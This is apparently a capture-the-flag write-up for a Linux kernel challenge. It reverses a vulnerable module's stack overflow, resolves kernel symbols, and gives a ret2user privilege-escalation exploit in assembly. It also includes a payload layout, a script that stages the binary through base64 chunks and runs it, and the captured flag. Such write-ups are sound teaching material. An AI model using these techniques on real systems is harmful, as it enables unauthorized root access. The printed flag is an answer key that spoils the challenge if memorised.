cyKer — Kernel Exploitation Writeup Link to heading

Category: Pwn / Kernel Flag: CyCTF{3c03ee481e3c39c175d1a8baed7f9bbe}


Overview Link to heading

We are given a QEMU-based kernel challenge containing:

  • bzImage — Linux 5.4.0 kernel
  • initramfs.cpio.gz — root filesystem with a vulnerable kernel module hackme.ko
  • run.sh — QEMU launch script with all mitigations disabled:
    nokaslr nosmep nosmap mitigations=off
    

The VM boots, loads hackme.ko, then drops us into a shell as uid 1000. The flag at /flag is owned by root with chmod 600.

Goal: Escalate to root and read /flag.


1. Reversing hackme.ko Link to heading

Extracted from the initramfs and analyzed with readelf/objdump. The module creates /proc/knote with read/write handlers.

Key functions Link to heading

FunctionPurpose
knote_initCreates /proc/knote with fops
knote_writeCopies user data into a 64-byte stack buffer via do_copy
knote_readReads from a global note_storage buffer back to user
do_copySimple byte-by-byte memcpy

The vulnerability — Stack Buffer Overflow in knote_write Link to heading

knote_write:
  push %r12
  push %rbp
  push %rbx
  sub  $0x40, %rsp          ; 64-byte local buffer on the stack

  ; ... validates count <= 0x1000 (4096) ...
  ; ... kmalloc(count) → kbuf ...
  ; ... copy_from_user(kbuf, user_buf, count) ...

  mov  %rbx, %rdx           ; rdx = count (up to 4096!)
  mov  %rbp, %rsi           ; rsi = kbuf
  mov  %rsp, %rdi           ; rdi = stack_buf (only 64 bytes!)
  call do_copy              ; OVERFLOW: copies count bytes into 64-byte buffer

  ; ... copies min(count, 64) bytes to global note_storage ...
  ; ... kfree(kbuf) ...

  add  $0x40, %rsp
  pop  %rbx                 ; ← overwritten by us
  pop  %rbp                 ; ← overwritten by us
  pop  %r12                 ; ← overwritten by us
  ret                       ; ← hijacked return address

The do_copy call copies up to 4096 bytes from the heap buffer into a 64-byte stack buffer — a textbook stack overflow. Crucially, the saved registers and return address sit right above the buffer:

Offset from rsp:
  0x00 – 0x3F : 64-byte local buffer
  0x40         : saved rbx
  0x48         : saved rbp
  0x50         : saved r12
  0x58         : return address  ← we overwrite this

2. Finding Kernel Symbols Link to heading

The kernel is stripped (no symbol table), but __ksymtab entries are still present. Each entry uses relative s32 offsets:

struct kernel_symbol {
    s32 value_offset;   // function_addr = &value_offset + value_offset
    s32 name_offset;    // string_addr   = &name_offset  + name_offset
};

Found the raw strings "prepare_kernel_cred\0" and "commit_creds\0" in __ksymtab_strings, computed their virtual addresses from the ELF LOAD segments, then scanned __ksymtab for entries whose name_offset resolves to those strings.

Results:

SymbolAddress
commit_creds0xffffffff810892c0
prepare_kernel_cred0xffffffff810895e0

3. Exploitation — ret2user Link to heading

With SMEP, SMAP, and KASLR all disabled, the classic ret2user technique works: overwrite the kernel return address with a pointer to userspace code that runs in ring-0 context.

Exploit flow Link to heading

  ┌─────────────────────────────────────┐
  │  Userspace                          │
  │                                     │
  │  1. Save cs, ss, rflags, rsp        │
  │  2. open("/proc/knote", O_RDWR)     │
  │  3. write(fd, payload, 0x60)        │
  │     └─ overflow → ret to escalate() │
  └──────────────┬──────────────────────┘
                 │  (kernel hijacked)
  ┌──────────────▼──────────────────────┐
  │  escalate() — runs in ring-0        │
  │                                     │
  │  4. prepare_kernel_cred(0)          │
  │  5. commit_creds(result)            │
  │  6. swapgs                          │
  │  7. iretq → get_root_shell()        │
  └──────────────┬──────────────────────┘
                 │  (back to ring-3 as root)
  ┌──────────────▼──────────────────────┐
  │  get_root_shell()                   │
  │                                     │
  │  8. execve("/bin/sh") → root shell  │
  │  9. cat /flag                       │
  └─────────────────────────────────────┘

Payload layout (0x60 = 96 bytes) Link to heading

 [0x00 - 0x3F]  padding (zeros)
 [0x40 - 0x47]  rbx = 0
 [0x48 - 0x4F]  rbp = 0
 [0x50 - 0x57]  r12 = 0
 [0x58 - 0x5F]  return address = &escalate   ← hijack

The exploit binary (exploit_tiny.S) Link to heading

Written in pure x86-64 assembly, statically linked, 8.5 KB total — small enough to gzip + base64 and transfer in a single shell session (592 chars).

escalate:
    xor %rdi, %rdi
    movabs $0xffffffff810895e0, %rax    ; prepare_kernel_cred
    call *%rax
    mov %rax, %rdi
    movabs $0xffffffff810892c0, %rax    ; commit_creds
    call *%rax
    swapgs
    ; push SS, RSP, RFLAGS, CS, RIP for iretq
    push user_ss
    push user_sp
    push user_rflags
    push user_cs
    push $get_root_shell
    iretq

get_root_shell:
    execve("/bin/sh", argv, NULL)

4. Delivery Link to heading

The QEMU VM has a minimal BusyBox userland with no wget/curl. The exploit binary is transferred by:

  1. gzip + base64 encode locally (592 chars)
  2. Echo in 64-char chunks appended to a file on the remote
  3. base64 -d | gunzip to reconstruct the binary
  4. chmod +x and execute
# solver.py uploads and runs the exploit
cmd("> /dev/shm/e.b64")
for i in range(0, len(payload), 64):
    cmd(f"echo -n '{payload[i:i+64]}'>>/dev/shm/e.b64")
cmd("base64 -d /dev/shm/e.b64 | gunzip > /dev/shm/exp")
cmd("chmod +x /dev/shm/exp")
cmd("/dev/shm/exp")
cmd("cat /flag")

5. Result Link to heading

/ $ /dev/shm/exp
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0
/ # cat /flag
CyCTF{3c03ee481e3c39c175d1a8baed7f9bbe}

Files Link to heading

FileDescription
solver.pyPwntools script — connects, uploads, runs exploit, reads flag
exploit_tiny.SAssembly source for the kernel exploit binary
exploit_tinyCompiled static binary (8.5 KB)